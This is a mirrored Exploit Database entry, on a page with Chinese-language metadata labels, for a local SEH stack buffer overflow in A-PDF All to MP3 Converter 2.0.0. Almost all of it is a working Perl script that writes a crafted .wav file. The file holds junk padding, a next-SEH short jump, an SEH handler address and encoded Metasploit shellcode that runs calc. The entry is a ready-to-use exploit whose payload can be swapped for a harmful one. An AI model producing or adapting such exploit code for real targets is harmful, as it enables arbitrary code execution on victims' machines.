A-PDF All to MP3 Converter 2.0.0 – ‘.wav’ Local Buffer Overflow (SEH)

• Exploit Database
• 57 阅读

• 作者： m0nna
  日期： 2011-01-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16073/

• # Exploit Title: A-PDF All to MP3 Converter v.2.0.0 SEH overflow
  # Software Link: http://www.a-pdf.com/all-to-mp3/download.htm
  # Version: <= 2.0.0
  # Tested on: Win XP SP2 English
  # Date: 29/01/2011
  # Author: m0nna
  #Email: malware.monna@gmail.com
  # triggering details:Open the app, drag the crafted .wav file, calc pops out
  # Credits to : h1ch4m (for the stack based overflow exploit)
  
  
  my $file = "exploit_seh.wav";
  my $junk ="\x41" x 4132 ;
  my $nseh = "\xeb\x06\x90\x90";
  my $seh = pack("V", 0x005d6a91);
  
  # windows/exec - 343 bytes
  # http://www.metasploit.com
  # Encoder: PexAlphaNum
  # EXITFUNC=seh, CMD=calc
  
  my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
  "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
  "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
  "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
  "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37".
  "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48".
  "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48".
  "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c".
  "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
  "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48".
  "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54".
  "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48".
  "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43".
  "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57".
  "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a".
  "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b".
  "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53".
  "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37".
  "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49".
  "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46".
  "\x4e\x36\x43\x46\x42\x50\x5a";
  
  open OUTPUT, ">", "$file";
  
  print OUTPUT $junk.$nseh.$seh.$shellcode;